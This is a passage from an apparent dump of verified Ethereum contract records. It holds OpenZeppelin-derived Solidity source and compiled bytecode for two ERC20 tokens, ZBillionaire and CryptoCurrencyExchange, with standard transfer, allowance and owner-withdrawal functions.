// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ZBillionaire is StandardToken {
string public constant name = "ZBillionaire"; // solium-disable-line uppercase
string public constant symbol = "ZB1"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function ZBillionaire() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
//Code derived from OpenZeppelin library
/**The MIT License (MIT)
*
*Copyright (c) 2016 Smart Contract Solutions, Inc.
*
*Permission is hereby granted, free of charge, to any person obtaining
*a copy of this software and associated documentation files (the
*"Software"), to deal in the Software without restriction, including
*without limitation the rights to use, copy, modify, merge, publish,
*distribute, sublicense, and/or sell copies of the Software, and to
*permit persons to whom the Software is furnished to do so, subject to
*the following conditions:
*
*The above copyright notice and this permission notice shall be included
*in all copies or substantial portions of the Software.
*
*THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
*OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
*MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
*IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
*CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
*TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
*SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//Code customized, compiled, and deployed by umint.io for zbillionaire
|
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d05780632ff2e9dc14610249578063313ce5671461027257806366188463146102a157806370a08231146102fb57806395d89b4114610348578063a9059cbb146103d6578063d73dd62314610430578063dd62ed3e1461048a575b600080fd5b34156100ca57600080fd5b6100d26104f6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061052f565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba610621565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061062b565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c6109e5565b6040518082815260200191505060405180910390f35b341561027d57600080fd5b6102856109f6565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ac57600080fd5b6102e1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109fb565b604051808215151515815260200191505060405180910390f35b341561030657600080fd5b610332600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c8c565b6040518082815260200191505060405180910390f35b341561035357600080fd5b61035b610cd4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103e157600080fd5b610416600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d0d565b604051808215151515815260200191505060405180910390f35b341561043b57600080fd5b610470600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f2c565b604051808215151515815260200191505060405180910390f35b341561049557600080fd5b6104e0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611128565b6040518082815260200191505060405180910390f35b6040805190810160405280600c81526020017f5a42696c6c696f6e61697265000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561066857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106b557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561074057600080fd5b610791826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610824826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a633b9aca000281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b0c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba0565b610b1f83826111af90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600381526020017f5a4231000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d4a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9757600080fd5b610de8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610fbd82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156111bd57fe5b818303905092915050565b60008082840190508381101515156111dc57fe5b80915050929150505600a165627a7a72305820a8e7ba971e661ce731ccb5ba9e13ae94d2dc0f110f8662912d2d18aeed283bd30029
|
{"success": true, "error": null, "results": {}}
| 9,130 |
0x56b7f2a2d6f70d88b991e6c7b8005e0a13a9b379
|
pragma solidity ^0.4.21;
// File: contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
// File: contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CryptoCurrencyExchange is StandardToken, Ownable {
// Constants
string public constant name = "Crypto Currency Exchange";
string public constant symbol = "BIEXIO";
uint8 public constant decimals = 4;
uint256 public constant INITIAL_SUPPLY = 3000000000 * (10 ** uint256(decimals));
mapping(address => bool) touched;
function CryptoCurrencyExchange() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function _transfer(address _from, address _to, uint _value) internal {
require (balances[_from] >= _value); // Check if the sender has enough
require (balances[_to] + _value > balances[_to]); // Check for overflows
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
function safeWithdrawal(uint _value ) onlyOwner public {
if (_value == 0)
owner.transfer(address(this).balance);
else
owner.transfer(_value);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280601881526020017f43727970746f2043757272656e63792045786368616e6765000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a63b2d05e000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600681526020017f42494558494f000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c